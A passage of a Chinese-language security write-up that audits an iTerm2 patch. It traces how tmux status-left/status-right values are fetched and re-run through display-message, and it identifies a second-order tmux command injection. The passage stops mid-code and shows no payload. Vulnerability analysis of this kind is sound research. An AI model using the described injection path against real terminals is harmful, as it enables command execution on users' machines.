0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">                   </span><span class="com" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">#[fg=yellow,bold]#(apm -l)%%#[default] [#S]</span></code></span></span></p></li><li><p><br/></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">The</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">is</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">‘[#</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">S</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">’.</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">     status</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">right </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">Display</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> to the right of the status line</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">By</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">default</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             the current pane title </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">in</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">double</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> quotes</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> the date </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> the time</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             are shown</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">  </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">As</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">with</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> status</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">left</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">string</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> will be passed to</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">             strftime</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">3</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">and</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> character pairs are replaced</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">.</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">通过文档，可以发现，这三个都是字符串类型的变量。而根据描述其默认都是打印出 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">session name</span></code>的值。根据猜测，这三个应该是平行的Sink，所以接下来我们需要去找到漏洞的Source。</p><h3 style="box-sizing: border-box;margin-top: 1.5rem;margin-bottom: 1rem;line-height: 1.35;font-size: 20px;text-align: start;white-space: normal;font-family: Menlo, Monaco, &#34;Source Code Pro&#34;, Consolas, Inconsolata, &#34;Ubuntu Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Courier New&#34;, &#34;Droid Sans Mono&#34;, &#34;Hiragino Sans GB&#34;, 微软雅黑, monospace !important;">简单审计</h3><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">接下来带入到补丁中看。根据关键字很快的定位到代码</p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.409375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=b689a397&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMUsXdv4gedoRLBzV9jpc52ZOMujZsV5v58n52WhftDqPzib8h2s12qdg%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">审计一下修补前的代码<br/></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">requestUpdates </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    _accelerated </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> NO</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_gateway sendCommand</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;display-message -p \&#34;#{status-left}\&#34;&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> responseTarget</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> responseSelector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@selector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handleStatusLeftResponse</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:)];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">_gateway sendCommand</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;display-message -p \&#34;#{status-right}\&#34;&#34;</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> responseTarget</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> responseSelector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="lit" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">@selector</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handleStatusRightResponse</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:)];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li></ol></pre><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">其实我也不知道这是什么语言...但是还是硬着头皮看下去。根据关键字判断，这里是将 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">display</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">message</span><span class="pun" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">-</span><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">p</span><span class="str" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">&#34;#{status-right}&#34;</span></code>命令的返回值传递到了 <code class="prettyprint code-in-text prettyprinted" style="box-sizing: border-box;background: rgb(243, 241, 241);color: rgb(88, 88, 88);line-height: 18px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 0px !important;border-style: initial !important;border-color: initial !important;"><span class="pln" style="box-sizing: border-box;background-image: initial;background-position: initial;background-size: initial;background-repeat: initial;background-attachment: initial;background-origin: initial;background-clip: initial;display: inline-block;padding-right: 2px;padding-left: 2px;font-size: 14px;">handleStatusrightResponse</span></code>函数中。<br style="box-sizing: border-box;"/>我们可以在Tmux Server中执行Command，看一下这句命令的返回值是啥</p><p style="text-align: center;"><img class="rich_pages" data-s="300,640" style="" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cdc218e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FFnyLHzR8IpQ60pd8qyUFjBeUQDtmIRJMeCENoGuBR8RVmmt4Wo9OAFAu0l0icVzyeDwKphea5OMH6goNzHokKbQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-top: 15px;margin-bottom: 15px;font-size: 16px;white-space: pre-line;line-height: 1.75em;font-family: -apple-system-font, system-ui, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: start;">接着把返回值传递进handleStatusRightResponse函数，这里可以看到在handleStatusRightResponse函数中，执行命令之前，对参数进行了一次过滤，很明显是防止命令注入的，此时答案呼之欲出：这就是个二次的(Tmux)命令注入啊！<br/></p><pre class="prettyprint linenums prettyprinted" style="box-sizing: border-box;padding-top: 8px;padding-bottom: 6px;background: rgb(241, 239, 238);border-radius: 0px;overflow-y: auto;color: rgb(80, 97, 109);text-align: start;font-size: 10px;line-height: 12px;font-family: consolas, menlo, courier, monospace, &#34;Microsoft Yahei&#34;!important;border-width: 1px !important;border-style: solid !important;border-color: rgb(226, 226, 226) !important;"><ol class="linenums list-paddingleft-2" style="list-style-type: none;"><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">-</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">void</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">handleStatusrightResponse</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:(</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">response </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">if</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">(!</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">response</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">)</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">{</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">        </span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">return</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">;</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">}</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: inherit !important;"><span style="box-sizing: border-box;line-height: 1.75em;display: block;word-break: inherit !important;"><code style="box-sizing: border-box;margin-left: -20px;display: flex;overflow: initial;line-height: 12px;overflow-wrap: normal;border-width: 0px;border-style: initial;border-color: initial;font-size: 10px;font-family: inherit !important;white-space: pre !important;"><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">    </span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">*</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">command </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">=</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="typ" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">NSString</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> stringWithFormat</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:@</span><span class="str" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">&#34;display-message -p \&#34;%@\&#34;&#34;</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">,</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> </span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">[</span><span class="kwd" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">self</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;"> escapedString</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">:</span><span class="pln" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">response</span><span class="pun" style="box-sizing: border-box;line-height: 20px;font-size: 13px !important;white-space: inherit !important;">]];</span></code></span></span></p></li><li><p><span style="box-sizing: border-box;color: rgb(51, 51, 51);display: block;line-height: 1.75em;font-size: 16px !important;word-break: 